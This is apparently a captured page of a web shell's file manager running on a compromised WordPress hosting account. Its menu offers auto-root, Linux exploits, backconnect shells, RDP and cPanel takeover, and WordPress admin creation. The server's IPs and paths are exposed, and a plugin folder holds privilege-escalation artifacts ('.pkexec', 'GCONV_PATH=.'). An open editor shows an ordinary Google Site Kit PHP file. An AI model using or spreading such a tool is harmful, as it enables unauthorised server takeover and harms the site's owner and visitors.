Linux business72.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
LiteSpeed
: 162.0.229.97 | : 18.188.212.54
Cant Read [ /etc/named.conf ]
8.1.30
temmmp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
temmmp /
anonmags.com /
wp-content /
plugins /
google-site-kit /
includes /
Core /
Authentication /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
Clients
[ DIR ]
drwxr-xr-x
Exception
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
Guards
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
Authentication.php
36.82
KB
-rw-r--r--
Connected_Proxy_URL.php
1.23
KB
-rw-r--r--
Credentials.php
3.79
KB
-rw-r--r--
Disconnected_Reason.php
923
B
-rw-r--r--
Google_Proxy.php
18.4
KB
-rw-r--r--
Has_Connected_Admins.php
3.3
KB
-rw-r--r--
Has_Multiple_Admins.php
1.55
KB
-rw-r--r--
Initial_Version.php
633
B
-rw-r--r--
Owner_ID.php
1.52
KB
-rw-r--r--
Profile.php
1.63
KB
-rw-r--r--
REST_Authentication_Controller...
5.01
KB
-rw-r--r--
Setup.php
12.39
KB
-rw-r--r--
Token.php
3.78
KB
-rw-r--r--
Verification.php
1.52
KB
-rw-r--r--
Verification_File.php
626
B
-rw-r--r--
Verification_Meta.php
624
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : REST_Authentication_Controller.php
<?php /** * Class Google\Site_Kit\Core\Authentication\REST_Authentication_Controller * * @package Google\Site_Kit * @copyright 2024 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\Authentication; use Google\Site_Kit\Core\Permissions\Permissions; use Google\Site_Kit\Core\REST_API\REST_Route; use Google\Site_Kit\Core\REST_API\REST_Routes; use WP_REST_Server; use WP_REST_Request; use WP_REST_Response; /** * REST Authentication Controller Class. * * @since 1.131.0 * @access private * @ignore */ final class REST_Authentication_Controller { /** * Authentication instance. * * @since 1.131.0 * @var Authentication */ protected $authentication; /** * Constructor. * * @since 1.131.0 * * @param Authentication $authentication Authentication instance. */ public function __construct( Authentication $authentication ) { $this->authentication = $authentication; } /** * Registers functionality through WordPress hooks. * * @since 1.131.0 */ public function register() { add_filter( 'googlesitekit_rest_routes', function ( $routes ) { return array_merge( $routes, $this->get_rest_routes() ); } ); add_filter( 'googlesitekit_apifetch_preload_paths', function ( $routes ) { $authentication_routes = array( '/' . REST_Routes::REST_ROOT . '/core/site/data/connection', '/' . REST_Routes::REST_ROOT . '/core/user/data/authentication', ); return array_merge( $routes, $authentication_routes ); } ); } /** * Gets related REST routes. * * @since 1.3.0 * @since 1.131.0 Moved to REST_Authentication_Controller class. * * @return array List of REST_Route objects. */ private function get_rest_routes() { $can_setup = function () { return current_user_can( Permissions::SETUP ); }; $can_access_authentication = function () { return current_user_can( Permissions::VIEW_SPLASH ) || current_user_can( Permissions::VIEW_DASHBOARD ); }; $can_disconnect = function () { return current_user_can( Permissions::AUTHENTICATE ); }; $can_view_authenticated_dashboard = function () { return current_user_can( Permissions::VIEW_AUTHENTICATED_DASHBOARD ); }; return array( new REST_Route( 'core/site/data/connection', array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => function () { $data = array( 'connected' => $this->authentication->credentials()->has(), 'resettable' => $this->authentication->get_options_instance()->has( Credentials::OPTION ), 'setupCompleted' => $this->authentication->is_setup_completed(), 'hasConnectedAdmins' => $this->authentication->get_has_connected_admins_instance()->get(), 'hasMultipleAdmins' => $this->authentication->get_has_multiple_admins_instance()->get(), 'ownerID' => $this->authentication->get_owner_id_instance()->get(), ); return new WP_REST_Response( $data ); }, 'permission_callback' => $can_setup, ), ) ), new REST_Route( 'core/user/data/authentication', array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => function () { $oauth_client = $this->authentication->get_oauth_client(); $is_authenticated = $this->authentication->is_authenticated(); $data = array( 'authenticated' => $is_authenticated, 'requiredScopes' => $oauth_client->get_required_scopes(), 'grantedScopes' => $is_authenticated ? $oauth_client->get_granted_scopes() : array(), 'unsatisfiedScopes' => $is_authenticated ? $oauth_client->get_unsatisfied_scopes() : array(), 'needsReauthentication' => $oauth_client->needs_reauthentication(), 'disconnectedReason' => $this->authentication->get_disconnected_reason_instance()->get(), 'connectedProxyURL' => $this->authentication->get_connected_proxy_url_instance()->get(), ); return new WP_REST_Response( $data ); }, 'permission_callback' => $can_access_authentication, ), ) ), new REST_Route( 'core/user/data/disconnect', array( array( 'methods' => WP_REST_Server::EDITABLE, 'callback' => function () { $this->authentication->disconnect(); return new WP_REST_Response( true ); }, 'permission_callback' => $can_disconnect, ), ) ), new REST_Route( 'core/user/data/get-token', array( array( 'methods' => WP_REST_Server::CREATABLE, 'callback' => function () { $this->authentication->do_refresh_user_token(); return new WP_REST_Response( array( 'token' => $this->authentication->get_oauth_client()->get_access_token(), ) ); }, 'permission_callback' => $can_view_authenticated_dashboard, ), ) ), ); } }
Close